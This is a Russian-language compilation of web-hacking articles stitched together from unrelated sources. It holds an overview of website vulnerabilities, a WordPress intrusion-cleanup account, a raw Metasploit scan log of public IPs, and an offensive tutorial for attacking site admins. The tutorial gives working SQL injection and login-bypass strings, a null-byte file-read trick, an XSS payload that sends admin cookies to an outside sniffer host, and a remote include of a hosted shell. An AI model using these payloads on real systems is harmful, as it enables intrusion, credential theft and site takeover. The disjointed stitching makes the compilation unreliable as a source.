Способы взлома сайтов.
Взлом сайтов становиться возможным из-за уязвимостей кода сайта, уязвимостей и ошибках в настройках серверного программного обеспечения, а также из-за некорректной публикацией сайта на сервере.
УЯЗВИМОСТИ КОДА САЙТА
Инъекции:
Наиболее грозным и распространенным способом взлома сайта являются инъекции.
Возможность успешной эксплуатации инъекций на сайте в 99% случаев приводит к его взлому.
- RCE — Remote code execution. Удаленное выполнение кода на сервере.
- PHP — инъекции. Выполнение произвольного PHP кода.
- SQL — инъекции. Внедрение произвольного кода в SQL запрос.
- XPath — инъекции. Внедрение произвольного кода в XPath запрос.
Инклуды:
Не менее грозный и распространенный способ взлома сайта — это инклуды.
Возможность успешной эксплуатации любого инклуда на сайте в 100% случаев приведет к его взлому.
- RFI Remote file include. Включение удаленного файла.
- LFI — Local file include. Подключение, выполнение или чтение локальных файлов на сервере.
- PHP include. Включение удаленного PHP файла.
Клиентские атаки. Атаки на администраторов и посетителей сайта
Очень популярный способ взлома сайта — это атаки на клиента, в браузере жертвы.
Один из самых практикуемых способов взлома сайта.
Обусловлен тем, что клиентским атакам (к примеру XSS) подвержены более 75% всех сайтов в мире.
- XSS атака. Сross Site Sсriрting — межсайтовый скриптинг.
- CSRF атака. Сross Site Request Forgery — подделка межсайтовых запросов.
- Фишинг атака. Fishing — Фишинг атака — подделка страниц сайта.
Некорректная публикация сайта на сервере. Ошибки публикации.
Некорректная публикация сайта на сервере является грубейшей ошибкой разработчиков и администраторов ресурса, зачастую приводящая к его взлому.
К таким ошибкам, напрямую влияющих на безопасность сайта являются:
- Открытые директории с системными файлами.
- Открытый доступ и возможность выполнения системных файлов, взаимодействующих с файловой системой или базами данных.
- Системные архивы, бэкапы сайта, находящиеся в открытом доступе.
- Файлы дампа баз данных в открытом доступе.
- Открытый доступ к .svn или .git индексным файлам.
Ошибки администрирования сайта:
Нередко администраторы сайта устанавливают короткие и примитивные пароли к админкам, наподобие 123qwerty.
Такие пароли элементарно подбираются злоумышленниками с помощью специальных программ.
Небрежность администраторов сайта, имеющих доступ к FTP и административной панели, нередко приводит к взлому сайта.
Троянская программа отправленная по почте, якобы забытая кем — то, а на самом деле специально оставленная злоумышленником зараженная вирусами флэшка на столе у админа сайта могут привести к его взлому.
УЯЗВИМОСТИ СЕРВЕРА
Уязвимости программного обеспечения сервера несут огромную опасность для размещенных на них сайтах.
Устаревшие версии редакции серверных операционных систем, а также Nginx, Apachе, PHP, MySQL, FTP и прочего ПО несут в себе угрозу безопасности сайта, так как в большинстве случаев они уязвимы к взлому и атакам.
Кроме этого, существуют специальные программные решения, эксплойты, с помощью которых происходят взломы и атаки на сервер.
Неправильная настройка сервера также может открыть «дыру» или лазейку, через которую злоумышленник сможет осуществить взлом.
В этой статье приведены только самые популярные уязвимости, с помощью которых злоумышленники взламывают сайты.
Способов, техник и методов реализации атак и взлома сайтов огромное множество.
insafety.org
Тревожный сигнал
Несмотря на то что WordPress развивается уже достаточно давно и код все время анализируется, уязвимости в движке находят постоянно, и можно предположить, что продолжат находить и в будущем. Нужно отдать должное разработчикам: они оперативно реагируют на все сообщения и устраняют проблемы, а простота обновления позволяет администраторам легко обезопасить свой ресурс.
тя анализ показывает, что далеко не все спешат обновляться. Но вот основные проблемы безопасности WP не в самом движке. Сегодня доступно большое количество тем и плагинов, которые пишутся программистами разного уровня и нередко содержат уязвимости. Некоторые темы и плагины распространяются через сомнительные сайты и уже изначально могут содержать бэкдоры. Добавим сюда некорректные настройки сайта, неверные права и использование учетных записей по умолчанию, позволяющие атакующему спокойно подбирать пароли, — и без дополнительных мер защиты сайт на WP обречен.
Итак, имеем несколько сайтов на WP разного назначения, размещенных в VDS. Стандартная связка PHP5 + Apache 2 + MySQL. ОС Ubuntu 14.04.3 LTS. Также были установлены панель управления хостингом Vesta Control Panel и phpMyAdmin. Последним, впрочем, никто не пользовался, и, по-моему, о его существовании даже не знали, хотя журналы показали, что и то и другое тоже пытались взломать. На момент атаки движок блога, активные плагины и Vesta были обновлены до актуального состояния. Используемые темы в большинстве взяты из бесплатного каталога и подогнаны под свои условия. Бэкап SQL делался еженедельно, бэкап файлов — очень давно. Все это работало до поры до времени.
Первый сигнал поступил от MySQL. VDS, до этого не сильно нагруженный, перестал тянуть. В результате сервер баз данных просто отвалился, а вместе с ним и прекратили отвечать сайты. При этом количество посетителей на счетчике вписывалось в стандартную посещаемость. Перезапуск восстановил работу, но нагрузка, показанная htop, была очень высокой.
Следующий сигнал поступил от поисковых систем. Причем сообщения и, очевидно, алгоритмы работы у Яндекса и Google отличаются и по-разному полезны. Яндекс сообщил, что на сайте обнаружен вредоносный контент, в панели веб-мастера сайт был помечен соответствующим значком, указан предполагаемый тип (троян JS), и в поиске выводилась информация о том, что ресурс может навредить. Сразу скажу, что код, который раздражал Яндекс, был найден в файле заголовков почти всех тем в файле header.php, и после того, как он был убран, все сайты в течение одного-трех дней были признаны чистыми. Хотя в это время битва еще продолжалась.
Google прислал сообщение спустя шесть часов после Яндекса, но отметил, что на сайте обнаружен «взломанный контент», в панели можно было просмотреть список подозрительных файлов (на момент получения письма большинство было найдено и удалено). Информация сама по себе интересна, так как в ней указаны новые файлы, оставленные хакером, на которые нет прямых ссылок на сайте. Такие файлы, скорее всего, однозначно нужно будет удалять. Гугл в сообщении предлагает ссылку на «Инструмент для восстановления взломанных сайтов», позволяющий просмотреть, как выглядит сайт, и рекомендации. После удаления файлов необходимо вручную отправить на перепроверку те сайты, у которых при использовании site: в строке поиска показывает «Возможно, этот сайт был взломан». Позже Гугл убрал отметку об опасности части сайтов и начал выдавать сообщение о том, что на сайтах появилось большое количество ошибок. Проблема 404 возникла либо из-за некорректно внедренного кода, когда часть URL не работала, либо из-за того, что код ссылался на вредоносный файл, который уже был найден и удален.
Забегая вперед, скажу о результате. Атака шла с нескольких IP и массированно началась за три дня до взлома. Обнаружилось большое количество лишних файлов с расширением php, которые были разбросаны по всем каталогам, плюс каталог gopni3d с кучей HTML-файлов внутри. Здесь и шелл, и бэкдор-загрузчик, и дорвей, и рассыльщик спама. Внедрен PHP- и JS-код в тему header.php и некоторые файлы WP, включая wp-config.php. Изменен файл .htaccess. В WP появились две дополнительные учетные записи с правами администратора. Каталог SMTP-сервера /var/spool/exim4/input был завален большим количеством спам-писем.
Теперь разберем, как это все найти, потратив минимальные усилия и имея минимум знаний. Дальнейшие шаги понятны: найти чужой код, понять действия хакера, устранить уязвимости или снизить их количество, затруднить дальнейшие атаки. Все это нужно будет делать быстро и параллельно.
Первые шаги
Можно отключить сайт, остановив веб-сервер или переведя WP в режим обслуживания, но мы пока не знаем, что искать. Если отключить невозможно, то на этом этапе можно запретить регистрацию новых пользователей и комментарии, изменить пароли администратора WP и пароли к СУБД. При наличии свежего бэкапа можем восстановить сайт, затем перейти к анализу и заняться локализацией проблем и усилением защиты. Иначе придется чистить файлы вручную. Как минимум можно сразу заменить файлы WP новыми из архива, удалив предварительно старые файлы и каталоги (кроме, естественно, каталогов тем, плагинов и upload). Далее обновляем (если не сделали это раньше) движок, тему и плагины. Неактивные темы и плагины безоговорочно удаляем. Проверяем сами плагины. Хакер некоторые просто отключает, изменив название каталога (добавив знак подчеркивания в начало). Проверяем корректность файлов .htaccess, их содержимое хакер может просто обнулить. Если файл .htaccess был неправильно настроен, то к файлам сайта можно получить доступ из поисковика: site:example.org inurl:/wp-admin/. Переименуй тему, некоторые атаки идут пакетом, когда просто подбираются уязвимости к популярным темам. Переименовав тему, мы изменим URL, а значит, такая атака ее минует. Если до сих пор не использовалась капча, то ставь любой понравившийся плагин. Это снизит вероятность брутфорса. Некоторые к тому же предоставляют дополнительные возможности: блокировку IP в случае неправильного ввода несколько раз, ограничение по времени ввода, белый список. Проверять на зараженность можно как изнутри при помощи инструментов, доступных в ОС, так и через внешние сервисы. Запускаем антивирусную проверку.
$ sudo clamscan -i -r /var/www /var/www/wp-content/plugins/akismet/_inc/img/sidebar-widescreen.php.suspected: Php.Malware.Agent-1426825 FOUND
Кроме антивируса, можно прогнать еще сканер Linux Malware Detect и скрипт AI-Bolit. Но найдут они не все.
Первые данные от внешних сервисов уже есть. Гугл выдал подсказку, просто ищем файлы, проверяем, действительно ли они вредоносны, и удаляем. Для последующего поиска сохраняем небольшой специфический текст, который будем использовать в качестве сигнатуры. Анализ самого кода позволит получить IP, URL и другие специфические параметры, их будем искать в логах и блокировать с помощью файрвола.
В Сети доступно множество ресурсов, проверяющих, безопасны ли сайты. Не все они полезны. Некоторые, например, просто получают данные о вредоносности от API Яндекса и Гугла. Услугу проверки URL предлагают и производители антивирусов. Например, сканер от Dr.Web проверяет страницы и анализирует, есть ли редирект на другие сайты. К сожалению, кроме того, что сайт заражен, и типа вируса, больше никакой полезной информации он не дал. Ресурс 2ip.ru показал, что на сайте обнаружены iframe-вставки. К сожалению, для повторной проверки он бесполезен, так как, очевидно, запоминает результат и сообщает, что сайт заражен, когда все остальные уже считают его безопасным.
Наибольшую пользу в поиске принес онлайн-сканер SiteGuarding.com, специально разработанный для поиска специфических вредоносных программ. В отчете были не только показаны проблемные ссылки, но и дана конкретика, позволяющая в дальнейшем найти этот код в файлах при помощи grep. Проект предлагает и свой плагин WP Antivirus Site Protection, доступный из каталога плагинов WP. В бесплатной версии он сканирует файлы, проверяя их на наличие опасного кода, и выдает отчет по обнаруженным malware и файлам, показавшимся подозрительным эвристическому анализатору. Правда, выданное не стопроцентно проблема, но это уже что-то. Число сканирований ограничено, но этого достаточно, чтобы решить проблемы и некоторое время контролировать ситуацию.
Полученную на SiteGuarding.com информацию о коде малвари скармливаем grep. Принцип простой: берем некий уникальный кусок (например, там указан URL сайта, на который идет редирект, или имя файла) и пробуем найти этот текст в остальных файлах веб-сайта.
$ grep -iR example.org /var/www/
Если при ручной разборке будут попадаться зараженные файлы, то анализируем и небольшой кусок уникального текста также предлагаем grep для поиска других аналогичных файлов. Код в файлы сайта вставляется либо в начало, либо в конец, и он, в отличие от остального, плохо структурирован, то есть идет сплошной массой. Это сразу бросается в глаза в любом текстовом редакторе, особенно с подсветкой кода. Но бывает, код специально отбивают за пределы видимой части экрана вправо или вниз. Можно составить небольшой скрипт, чтобы сразу вырезать кусок кода. Правда, остатки потом найти будет сложнее. Например, в decode использована последовательность HtI9Opn...Z. Создаем такой скрипт:
$ nano virusdel.sh #!/bin/bash virus='eval(base64_decode("HtI9Opn.*Z=="));' find . -type f -name '*.php' -exec sed --in-place -e "s/$virus//g" '{}' ;Запускаем:
$ chmod +x virusdel.sh $ ./virusdel.shНайденное имя файла сразу проверяем на остальных подкаталогах и сайтах при помощи find.
$ find /var/www/ -name confg.phpВремя доступа к файлам не всегда выдает его модификацию, но вот различие в размерах файла и количестве файлов в каталоге по сравнению с оригинальным бросается в глаза сразу. И мы можем легко сравнить два каталога при помощи diff или вручную, открыв два окна в mc. Самый простой diff -aqr dir1 dir2 покажет только отличающиеся файлы без самих изменений, полный diff -ruN > out.diff выдаст информацию в стиле patch. Внутри каталогов обнаружилось большое число лишних PHP-файлов, некоторые называются похоже на файлы WP или так же, но лежат в другом каталоге. Например, class-wp-*.php, wp-config .php (с пробелом). А также всякие users.php, confg.php, about.php и случайные имена (вроде a249yh.php, их легко заметить).
Каталог /var/spool/exim4/input был буквально забит спам-сообщениями. Количество сообщений в очереди, выведенное exim -bpc, достигало нескольких тысяч. Вывод ps aux показывал процесс sendmail, пытавшийся отправить письмо от неизвестного пользователя с доменом сайта. Чтобы не рассылать спам, SMTP-сервер лучше пока остановить. При попытке очистить командой rm -rf /var/spool/exim/input/* bash вываливался с ошибкой из-за большого количества файлов. Можно использовать маску и удалять файлы по частям, но в случае с exim проще ввести
$ sudo exipick -i | xargs exim -Mrmxakep.ru
msf > db_nmap 82.208.100.243
[*] Nmap: Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-01-16 19:03 MSK
[*] Nmap: Nmap scan report for 82-208-100-243.pg-nat-pool.mts-nn.ru (82.208.100.243)
[*] Nmap: Host is up (0.035s latency).
[*] Nmap: Not shown: 994 filtered ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 25/tcp open smtp
[*] Nmap: 110/tcp open pop3
[*] Nmap: 143/tcp open imap
[*] Nmap: 587/tcp open submission
[*] Nmap: 993/tcp open imaps
[*] Nmap: 995/tcp open pop3s
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 49.86 seconds
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 …]
OPTIONS:
-a,—add Add the hosts instead of searching
-d,—delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,—help Show this help information
-u,—up Only show hosts which are up
-o <file> Send output to a file in csv format
-R,—rhosts Set RHOSTS from the results of the search
-S,—search Search string to filter by
-i,—info Change the info of a host
-n,—name Change the name of a host
-m,—comment Change the comment of a host
-t,—tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
——- — —- ——- ——— —— ——- —- ———
82.208.100.243 82-208-100-243.pg-nat-pool.mts-nn.ru Unknown device
85.140.7.139 ppp85-140-7-139.pppoe.mtu-net.ru Unknown device
85.140.7.255 85.140.7.255 Unknown device
93.120.214.97 93-120-214-97.dynamic.mts-nn.ru Unknown device
178.93.1.3 3-1-93-178.pool.ukrtel.net Unknown device
188.162.245.9 client.yota.ru Unknown device
192.168.77.138 192.168.77.138 Unknown device
msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 …]
-a,—add Add the services instead of searching
-d,—delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,—help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,—up Only show services which are up
-o <file> Send output to a file in csv format
-R,—rhosts Set RHOSTS from the results of the search
-S,—search Search string to filter by
Available columns: created_at, info, name, port, proto, state, updated_at
msf > services
Services
========
host port proto name state info
—- —- —— —- —— —-
82.208.100.243 25 tcp smtp open
82.208.100.243 110 tcp pop3 open
82.208.100.243 143 tcp imap open
82.208.100.243 587 tcp submission open
82.208.100.243 993 tcp imaps open
82.208.100.243 995 tcp pop3s open
85.140.7.139 25 tcp smtp open
85.140.7.139 80 tcp http open
85.140.7.139 110 tcp pop3 open
85.140.7.139 119 tcp nntp open
85.140.7.139 143 tcp imap open
85.140.7.139 465 tcp smtps open
85.140.7.139 563 tcp snews open
85.140.7.139 587 tcp submission open
85.140.7.139 993 tcp imaps open
85.140.7.139 995 tcp pop3s open
85.140.7.255 80 tcp http open
93.120.214.97 21 tcp ftp open
93.120.214.97 22 tcp ssh open
93.120.214.97 23 tcp telnet open
93.120.214.97 25 tcp smtp open
93.120.214.97 80 tcp http open
93.120.214.97 110 tcp pop3 open
93.120.214.97 119 tcp nntp open
93.120.214.97 139 tcp netbios-ssn open
93.120.214.97 143 tcp imap open
93.120.214.97 445 tcp microsoft-ds open
93.120.214.97 465 tcp smtps open
93.120.214.97 514 tcp shell filtered
93.120.214.97 563 tcp snews open
93.120.214.97 587 tcp submission open
93.120.214.97 993 tcp imaps open
93.120.214.97 995 tcp pop3s open
93.120.214.97 5431 tcp park-agent open
178.93.1.3 25 tcp smtp open
178.93.1.3 110 tcp pop3 open
178.93.1.3 119 tcp nntp open
178.93.1.3 143 tcp imap open
178.93.1.3 465 tcp smtps open
178.93.1.3 563 tcp snews open
178.93.1.3 587 tcp submission open
178.93.1.3 993 tcp imaps open
178.93.1.3 995 tcp pop3s open
188.162.245.9 25 tcp smtp open
188.162.245.9 80 tcp http open
188.162.245.9 110 tcp pop3 open
188.162.245.9 119 tcp nntp open
188.162.245.9 143 tcp imap open
188.162.245.9 465 tcp smtps open
188.162.245.9 563 tcp snews open
188.162.245.9 587 tcp submission open
188.162.245.9 993 tcp imaps open
188.162.245.9 995 tcp pop3s open
192.168.77.138 25 tcp smtp open
192.168.77.138 80 tcp http open
192.168.77.138 110 tcp pop3 open
192.168.77.138 143 tcp imap open
192.168.77.138 587 tcp submission open
192.168.77.138 993 tcp imaps open
192.168.77.138 995 tcp pop3s open
msf > services -c port,name,state
Services
========
host port name state
—- —- —- ——
82.208.100.243 25 smtp open
82.208.100.243 110 pop3 open
82.208.100.243 143 imap open
82.208.100.243 587 submission open
82.208.100.243 993 imaps open
82.208.100.243 995 pop3s open
85.140.7.139 25 smtp open
85.140.7.139 80 http open
85.140.7.139 110 pop3 open
85.140.7.139 119 nntp open
85.140.7.139 143 imap open
85.140.7.139 465 smtps open
85.140.7.139 563 snews open
85.140.7.139 587 submission open
85.140.7.139 993 imaps open
85.140.7.139 995 pop3s open
85.140.7.255 80 http open
93.120.214.97 21 ftp open
93.120.214.97 22 ssh open
93.120.214.97 23 telnet open
93.120.214.97 25 smtp open
93.120.214.97 80 http open
93.120.214.97 110 pop3 open
93.120.214.97 119 nntp open
93.120.214.97 139 netbios-ssn open
93.120.214.97 143 imap open
93.120.214.97 445 microsoft-ds open
93.120.214.97 465 smtps open
93.120.214.97 514 shell filtered
93.120.214.97 563 snews open
93.120.214.97 587 submission open
93.120.214.97 993 imaps open
93.120.214.97 995 pop3s open
93.120.214.97 5431 park-agent open
178.93.1.3 25 smtp open
178.93.1.3 110 pop3 open
178.93.1.3 119 nntp open
178.93.1.3 143 imap open
178.93.1.3 465 smtps open
178.93.1.3 563 snews open
178.93.1.3 587 submission open
178.93.1.3 993 imaps open
178.93.1.3 995 pop3s open
188.162.245.9 25 smtp open
188.162.245.9 80 http open
188.162.245.9 110 pop3 open
188.162.245.9 119 nntp open
188.162.245.9 143 imap open
188.162.245.9 465 smtps open
188.162.245.9 563 snews open
188.162.245.9 587 submission open
188.162.245.9 993 imaps open
188.162.245.9 995 pop3s open
192.168.77.138 25 smtp open
192.168.77.138 80 http open
192.168.77.138 110 pop3 open
192.168.77.138 143 imap open
192.168.77.138 587 submission open
192.168.77.138 993 imaps open
192.168.77.138 995 pop3s open
msf > use auxiliary/scanner/http/crawler
msf auxiliary(crawler) > show options
Module options (auxiliary/scanner/http/crawler):
Name Current Setting Required Description
—- ————— ——— ————
DOMAIN WORKSTATION yes The domain to use for windows authentication
HttpPassword no The HTTP password to specify for authentication
HttpUsername no The HTTP username to specify for authentication
MAX_MINUTES 5 yes The maximum number of minutes to spend on each URL
MAX_PAGES 500 yes The maximum number of pages to crawl per URL
MAX_THREADS 4 yes The maximum number of concurrent requests
Proxies no A proxy chain of format type:host:port[,type:host:port][…]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes The starting page to crawl
VHOST no HTTP server virtual host
msf auxiliary(crawler) > set RHOST 82.208.100.243
RHOST => 82.208.100.243
msf auxiliary(crawler) > set URI /WackoPicko/
URI => /WackoPicko/
msf auxiliary(crawler) > run
[*] Crawling http://82.208.100.243:80/WackoPicko/…
[-] [00001/00500] ERR — 82.208.100.243 — http://82.208.100.243/WackoPicko/
[*] Crawl of http://82.208.100.243:80/WackoPicko/ complete
[*] Auxiliary module execution completed
msf auxiliary(crawler) > load wmap
.-.-.-..-.-.-..—..—.
| | | || | | || | || |-‘
`——‘`-‘-‘-‘`-^-‘`-‘
[WMAP 1.5.1] === et [ ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf auxiliary(crawler) > wmap_sites
[*] Usage: wmap_sites [options]
-h Display this help text
-a Add site (vhost,url)
-d [ids] Delete sites (separate ids with space)
-l List all available sites
-s [id] Display site structure (vhost,url|ids) (level)
msf auxiliary(crawler) > wmap_sites -l
[*] Available sites
===============
Id Host Vhost Port Proto # Pages # Forms
— —- —— —- —— ——- ——-
0 82.208.100.243 82.208.100.243 80 http 1 0
1 85.140.7.139 85.140.7.139 80 http 1 0
2 85.140.7.255 85.140.7.255 80 http 1 0
3 188.162.245.9 188.162.245.9 80 http 1 0
4 192.168.77.138 192.168.77.138 80 http 1 0
msf auxiliary(crawler) > wmap_sites -s 0
[82.208.100.243] (82.208.100.243)
|——/WackoPicko
msf auxiliary(crawler) > wmap_targets
[*] Usage: wmap_targets [options]
-h Display this help text
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
-d [ids] Define target sites (id1, id2, id3 …)
-c Clean target sites list
-l List all target sites
msf auxiliary(crawler) > wmap_targets -t
msf auxiliary(crawler) > wmap_run
[*] Usage: wmap_run [options]
-h Display this help text
-t Show all enabled modules
-m [regex] Launch only modules that name match provided regex.
-p [regex] Only test path defined by regex.
-e [/path/to/profile] Launch profile modules against all matched targets.
(No profile file runs all enabled modules.)
msf auxiliary(crawler) > wmap_run -e
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[-] Targets have not been selected.
msf auxiliary(crawler) >
www.hackzone.ru
by Saint
ВСТУПЛЕНИЕ
Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.
Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».
Глава 1. Статичность или динамичность?
Допустим у нас есть сайт _www.xxx.com. Первое, что необходимо сделать – это просмотреть его контент.
Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки.
Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp — это расширения языков обработки сценариев.
Пример: На сайте _http://www.xxx.com присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _http://www.yyy.com/index.html?page=sasha.html наводит на подозрение о динамичности сайта.
Глава 2. Кто тут ещё?
Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких:
— http://DomainsDB.net
— http://hack-shop.org.ru/revip.php
— http://www.seologs.com/ip-domains.html.
Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым.
Пример: Сайт _http://www.xxx.com хорошо защищен, но на этом IP сидит ещё один сайт _http://www.yyy.com (как мы узнали из вышеупомянутых сервисов). Он защищен тоже хорошо, но набив в адресной строке _ftp://www.yyy.com мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.
Глава 3. Ближе к телу.
Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» — роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации.
Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки.
Пример: По адресу _http://www.xxx.com/robots.txt мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _http://www.xxx.com/forum и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации — _http://www.xxx.com/admin.
Часть 2. АТАКА.
Глава 1. Перед атакой.
При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи:
— Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx;
— Стиль оформеления такой же, как у движка yyyyyyy;
— Название скриптов такое же, как у движка zzzzzzz.
Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома).
Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые:
— PHP-инъекции;
— SQL-инъекции;
— XSS-атаки.
Глава 2. PHP-injection.
PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=sasha.php — это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом — _http://www.xxx.com/index.php?page=sasha — выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php?page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..
Глава 3. SQL-injection.
Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат.
Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 — _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описывать здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей — множество. Вот ссылки на специализированные сайты:
— http://XakNet.ru
— http://AntiChat.ru и др.
Пример: Адресная строка сайта выглядит так: _http://www.xxx.com/index.php?id=365. Мы, подставив ‘ — _http://www.xxx.com/index.php?id=365’ — получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца:
_http://www.xxx.com/index.php?id=365+order+by+50/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+25/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+15/* — ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16.
_http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16/* — выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить…
Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.
Глава 4. XSS-атака.
Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида <script>ALERT(‘Admin – FUCK’)(</script> и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или сеcсия…
Пример: Сайт _http://www.xxx.com имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле <script>ALERT(‘Admin – FUCK’);</script> и лицезреем на экране «Admin – FUCK». Теперь вставляем «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на http://HashCracking.info или подобных сервисах. Дальше – в админку…
Часть 3. ШЕЛЛ, РУТ.
Глава 1. Шелл-шелл-ля-фам.
Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще:
1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе.
2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так — _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт.
